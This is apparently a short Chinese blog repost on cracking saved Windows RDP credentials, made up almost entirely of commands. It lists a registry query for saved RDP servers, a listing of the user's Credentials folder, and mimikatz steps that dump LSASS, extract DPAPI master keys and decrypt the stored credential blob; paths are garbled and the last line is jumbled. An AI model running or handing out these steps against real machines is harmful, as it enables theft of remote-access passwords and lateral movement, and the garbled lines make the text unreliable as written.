reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s
C:Users用户名AppDataLocalMicrosoftCredentials
dir /a %userprofile%AppDataLocalMicrosoftCredentials*
mimikatz # dpapi::cred /in:C:usersadmindesktop123FA8654DBDA31F5DA3DA2EE53F0372F46
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::dpapi
in:C:usersadmindesktop123FA8654DBDA31F5DA3DA2EE53F0372F46 /masterkey:6983ce8378095b4bc86a1fbf353e14a61edd5615012b9192a59d11077d425bea83df3515022395fecb8bffa98ea82fc8db2011d06fa5ba61f74c8fd869c4f23a dpapi::cred /
本文始发于微信公众号(XG小刚):RDP保存的凭证破解
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论